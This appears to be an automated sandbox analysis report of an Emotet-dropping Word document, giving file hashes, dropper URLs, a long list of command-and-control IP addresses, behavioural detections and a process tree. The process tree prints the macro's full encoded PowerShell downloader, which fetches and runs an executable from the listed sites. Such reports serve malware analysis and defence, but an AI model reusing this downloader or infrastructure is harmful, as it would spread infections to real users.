Analysis
- max time kernel
137s - max time network
139s - platform
windows10_x64 - resource
win10v200722 - submitted
14/10/2020, 16:24
Static task
static1
Behavioral task
behavioral1
Sample
ST_Heodo_ST_postacert_2.eml_OCZ100120XID101420.doc_analyze.doc
Resource
win7v200722
General
- Target ST_Heodo_ST_postacert_2.eml_OCZ100120XID101420.doc_analyze.doc
- Size 127KB
- Sample201014-4askrmnsa2
- SHA256 8953f2080a89c02db800018674bc763ddc73022ca7d77ad2b3295cc6c1822ca6
- MD5 7f90f6e3385493472b3652837e20c719
- SHA1 c468de23430d23a93e51ed5088cbf4a8ebcc7053
- SHA512 43a34126374f81d4a4d951b855160edf603887f90275513fc82d0a1bca6a2c92c5ab4fb26862dd08e4adde0057f3ccb519245a66a8391a8f61a1ab236e53b3dc
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://savetheboom.com/admin_access/xht/
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exe.dropper
https://dakwahwisata.net/wp-admin/c/
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exe.dropper
https://popcornv.com/wp-includes/KHKX/
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exe.dropper
https://dusitserve.com/gethits/o3A/
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exe.dropper
https://asc-kl.com/v2/Ztf/
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exe.dropper
http://gaashaan.com/cgi-bin/O/
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exe.dropper
http://inmaainv.com/site/cLDOJFI/
Extracted
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emotet
-
Epoch2
-
47.36.140.164:80
-
169.50.76.149:8080
-
162.241.140.129:8080
-
104.131.123.136:443
-
95.213.236.64:8080
-
130.0.132.242:80
-
123.176.25.234:80
-
46.105.131.79:8080
-
157.245.99.39:8080
-
79.98.24.39:8080
-
49.50.209.131:80
-
72.143.73.234:443
-
50.91.114.38:80
-
89.216.122.92:80
-
5.39.91.110:7080
-
121.124.124.40:7080
-
71.72.196.159:80
-
5.196.74.210:8080
-
139.162.108.71:8080
-
61.19.246.238:443
-
91.211.88.52:7080
-
120.150.60.189:80
-
137.59.187.107:8080
-
139.59.60.244:8080
-
124.41.215.226:80
-
194.187.133.160:443
-
50.35.17.13:80
-
75.139.38.211:80
-
96.249.236.156:443
-
78.188.106.53:443
-
62.75.141.82:80
-
190.108.228.27:443
-
218.147.193.146:80
-
94.23.237.171:443
-
139.162.60.124:8080
-
96.245.227.43:80
-
174.106.122.139:80
-
113.61.66.94:80
-
93.147.212.206:80
-
203.153.216.189:7080
-
104.131.11.150:443
-
94.200.114.161:80
-
87.106.136.232:8080
-
69.206.132.149:80
-
172.91.208.86:80
-
110.145.77.103:80
-
188.219.31.12:80
-
71.15.245.148:8080
-
121.7.31.214:80
-
97.82.79.83:80
-
42.200.107.142:80
-
185.94.252.104:443
-
168.235.67.138:7080
-
91.146.156.228:80
-
24.137.76.62:80
-
87.106.139.101:8080
-
5.196.108.189:8080
-
194.4.58.192:7080
-
110.142.236.207:80
-
24.179.13.119:80
-
75.143.247.51:80
-
172.104.97.173:8080
-
216.139.123.119:80
-
118.83.154.64:443
-
74.208.45.104:8080
-
142.112.10.95:20
-
109.74.5.95:8080
-
104.131.44.150:8080
-
37.139.21.175:8080
-
139.99.158.11:443
-
220.245.198.194:80
-
140.186.212.146:80
-
78.24.219.147:8080
-
176.111.60.55:8080
-
37.187.72.193:8080
-
162.241.242.173:8080
-
209.141.54.221:8080
-
108.46.29.236:80
-
103.86.49.11:8080
-
174.45.13.118:80
-
68.252.26.78:80
-
62.30.7.67:443
-
134.209.36.254:8080
-
120.150.218.241:443
-
79.137.83.50:443
-
85.25.106.204:8080
-
186.74.215.34:80
-
80.241.255.202:8080
-
24.43.32.186:80
-
76.175.162.101:80
-
190.240.194.77:443
-
47.144.21.12:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2500 508 POwersheLL.exe 72 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3748-13-0x00000000022A0000-0x00000000022BF000-memory.dmp emotet behavioral2/memory/3748-14-0x00000000022C0000-0x00000000022DE000-memory.dmp emotet behavioral2/memory/3812-17-0x0000000002100000-0x000000000211F000-memory.dmp emotet behavioral2/memory/3812-18-0x0000000002120000-0x000000000213E000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 14 2500 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3748 T1_1hl2u.exe 3812 Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\SSShim\Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy.exe T1_1hl2u.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4068 WINWORD.EXE 4068 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2500 POwersheLL.exe 2500 POwersheLL.exe 2500 POwersheLL.exe 3812 Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy.exe 3812 Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy.exe 3812 Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy.exe 3812 Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2500 POwersheLL.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 4068 WINWORD.EXE 4068 WINWORD.EXE 4068 WINWORD.EXE 4068 WINWORD.EXE 4068 WINWORD.EXE 4068 WINWORD.EXE 4068 WINWORD.EXE 4068 WINWORD.EXE 4068 WINWORD.EXE 3748 T1_1hl2u.exe 3812 Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2500 wrote to memory of 3748 2500 POwersheLL.exe 77 PID 2500 wrote to memory of 3748 2500 POwersheLL.exe 77 PID 2500 wrote to memory of 3748 2500 POwersheLL.exe 77 PID 3748 wrote to memory of 3812 3748 T1_1hl2u.exe 80 PID 3748 wrote to memory of 3812 3748 T1_1hl2u.exe 80 PID 3748 wrote to memory of 3812 3748 T1_1hl2u.exe 80
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ST_Heodo_ST_postacert_2.eml_OCZ100120XID101420.doc_analyze.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4068
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C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABMAGcAMwBiAHYAOQBlAD0AWwBjAGgAYQByAF0ANAAyADsAJABMAHgAaQB2AG8AZgA4AD0AKAAnAEYAbwAnACsAKAAnAGUAOAA4ACcAKwAnADcAaQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAcgBwAHIATwBGAGkAbABlAFwAWgBkADUANQAzAEMATABcAEoATABGADcASQBBAHIAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAYABSAEkAVABgAHkAYABwAHIATwBgAFQATwBDAG8ATAAiACAAPQAgACgAKAAnAHQAbAAnACsAJwBzACcAKQArACgAJwAxADIALAAnACsAJwAgACcAKQArACcAdABsACcAKwAoACcAcwAxADEALAAnACsAJwAgACcAKQArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAUQB6ADEAeQB5ADAAeAAgAD0AIAAoACgAJwBUACcAKwAnADEAXwAnACkAKwAnADEAJwArACgAJwBoAGwAMgAnACsAJwB1ACcAKQApADsAJABRAGwAbQA0ADIANABwAD0AKAAnAE4AJwArACgAJwB3ADAAJwArACcAMQB1ACcAKQArACcAZgA2ACcAKQA7ACQAUAA3AGkAXwA1AGIAZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQBaACcAKwAoACcAZAA1ACcAKwAnADUAJwApACsAJwAzAGMAJwArACcAbAB7ACcAKwAnADAAfQAnACsAJwBKAGwAZgA3AGkAYQByAHsAMAB9ACcAKQAtAEYAWwBjAEgAQQBSAF0AOQAyACkAKwAkAFEAegAxAHkAeQAwAHgAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABZAHcAbgA5AG8AZwByAD0AKAAnAE4AZQAnACsAJwB0ACcAKwAoACcAYgAyACcAKwAnAGIAZgAnACkAKQA7ACQAVABrAGUAMgAyAHIAYQA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgBXAGUAQgBjAGwAaQBlAG4AVAA7ACQASAB1AGYANgBrAGQANQA9ACgAKAAnAGgAdAAnACsAJwB0AHAAOgAvACcAKQArACgAJwAvAHMAYQB2AGUAJwArACcAdABoAGUAJwApACsAKAAnAGIAJwArACcAbwBvAG0AJwArACcALgBjAG8AJwArACcAbQAvAGEAJwApACsAKAAnAGQAJwArACcAbQAnACsAJwBpAG4AJwArACcAXwBhAGMAYwBlAHMAcwAvAHgAJwArACcAaAAnACkAKwAnAHQALwAnACsAKAAnACoAaAB0ACcAKwAnAHQAcABzADoAJwArACcALwAnACkAKwAnAC8AJwArACgAJwBkAGEAawB3AGEAJwArACcAaAB3ACcAKQArACgAJwBpAHMAJwArACcAYQB0ACcAKQArACcAYQAuACcAKwAoACcAbgAnACsAJwBlAHQALwB3ACcAKQArACcAcAAtACcAKwAnAGEAZAAnACsAJwBtAGkAJwArACcAbgAvACcAKwAnAGMAJwArACcALwAqACcAKwAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAcwA6AC8AJwArACcALwBwAG8AcAAnACsAJwBjAG8AcgBuAHYAJwArACcALgBjACcAKQArACcAbwAnACsAJwBtAC8AJwArACgAJwB3ACcAKwAnAHAALQBpAG4AJwApACsAKAAnAGMAJwArACcAbAB1AGQAZQBzAC8ASwBIACcAKwAnAEsAJwApACsAJwBYACcAKwAoACcALwAqAGgAdAB0AHAAcwAnACsAJwA6AC8ALwAnACsAJwBkAHUAcwAnACkAKwAoACcAaQAnACsAJwB0AHMAZQByACcAKQArACcAdgBlACcAKwAoACcALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AJwArACcAZwBlACcAKwAoACcAdAAnACsAJwBoAGkAdABzACcAKQArACgAJwAvAG8AMwAnACsAJwBBACcAKwAnAC8AKgBoAHQAdABwACcAKwAnAHMAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAGEAcwBjAC0AJwArACcAawAnACkAKwAoACcAbAAuACcAKwAnAGMAbwBtAC8AdgAyACcAKwAnAC8AWgB0AGYALwAnACsAJwAqAGgAJwArACcAdAAnACkAKwAnAHQAcAAnACsAJwA6ACcAKwAnAC8ALwAnACsAKAAnAGcAYQAnACsAJwBhAHMAaAAnACkAKwAoACcAYQAnACsAJwBhAG4ALgAnACkAKwAoACcAYwBvAG0ALwBjACcAKwAnAGcAaQAtAGIAJwArACcAaQBuACcAKQArACcALwAnACsAKAAnAE8AJwArACcALwAqAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AaQBuACcAKQArACgAJwBtAGEAJwArACcAYQAnACkAKwAoACcAaQBuAHYALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvAHMAaQB0AGUAJwArACcALwBjAEwARABPACcAKQArACgAJwBKAEYAJwArACcASQAvACcAKQApAC4AIgBzAHAAYABsAEkAVAAiACgAJABMAGcAMwBiAHYAOQBlACkAOwAkAFIAZwAyADYAdQBkAHIAPQAoACgAJwBTACcAKwAnAGgAcABqAGoAJwApACsAJwA5AGgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVgA1AHAAdgBkAHkAOQAgAGkAbgAgACQASAB1AGYANgBrAGQANQApAHsAdAByAHkAewAkAFQAawBlADIAMgByAGEALgAiAEQATwB3AG4AYABsAGAATwBBAEQARgBgAGkATABFACIAKAAkAFYANQBwAHYAZAB5ADkALAAgACQAUAA3AGkAXwA1AGIAZQApADsAJABEAHQAagB6AG8AdwBfAD0AKAAnAFYAJwArACcAaQBrACcAKwAoACcAeAAnACsAJwBqAG8AMAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACAAJABQADcAaQBfADUAYgBlACkALgAiAEwAYABlAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADkAMAA5ADgAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUALQAnACsAJwBJAHQAZQBtACcAKQAoACQAUAA3AGkAXwA1AGIAZQApADsAJABDAGIAbgBvAGEAeAA2AD0AKAAnAFQAaQAnACsAJwBoACcAKwAoACcAMwBoADUAJwArACcAdQAnACkAKQA7AGIAcgBlAGEAawA7ACQAWgA3AGgAMwBxAHIAYgA9ACgAKAAnAEgAYQBsACcAKwAnADQAJwApACsAJwA1AG4AJwArACcAbQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkANABoADgANQBmAGYAPQAoACcASwB1ACcAKwAnAHgAJwArACgAJwBvADQAJwArACcAegB3ACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2500 -
C:\Users\Admin\Zd553cl\Jlf7iar\T1_1hl2u.exe"C:\Users\Admin\Zd553cl\Jlf7iar\T1_1hl2u.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3748 -
C:\Windows\SysWOW64\SSShim\Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy.exe"C:\Windows\SysWOW64\SSShim\Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3812
-
-